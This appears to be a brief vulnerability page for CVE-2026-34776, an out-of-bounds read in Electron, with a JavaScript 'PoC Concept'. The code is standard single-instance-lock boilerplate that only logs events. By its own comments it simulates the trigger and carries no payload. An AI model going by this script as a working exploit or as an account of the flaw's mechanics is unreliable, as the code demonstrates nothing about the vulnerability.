CVE-2026-34776 Electron越界读取漏洞

// PoC Concept for CVE-2026-34776 // Triggering the out-of-bounds read in Electron on macOS/Linux // This script acts as the malicious second instance. const { app } = require('electron'); // Attempt to acquire the single instance lock const gotTheLock = app.requestSingleInstanceLock(); if (!gotTheLock) { // This block runs in the second instance // In a real exploit scenario, the underlying C++ parsing logic // is triggered by the OS-specific messaging mechanism when // the second instance starts. // We simulate the existence of the vulnerability trigger condition. console.log('Exploit: Triggering crafted second-instance message...'); // The actual payload is delivered via the OS IPC mechanism // which Electron parses. If the parsing logic is vulnerable, // the main instance experiences the out-of-bounds read. app.quit(); } else { // This block runs in the main instance app.on('second-instance', (event, commandLine, workingDirectory) => { // If exploited, leaked memory might be observable here or in logs console.log('Main instance received event from second instance.'); console.log('Command Line:', commandLine); console.log('Working Directory:', workingDirectory); }); app.whenReady().then(() => { console.log('Main instance started and holding lock.'); }); }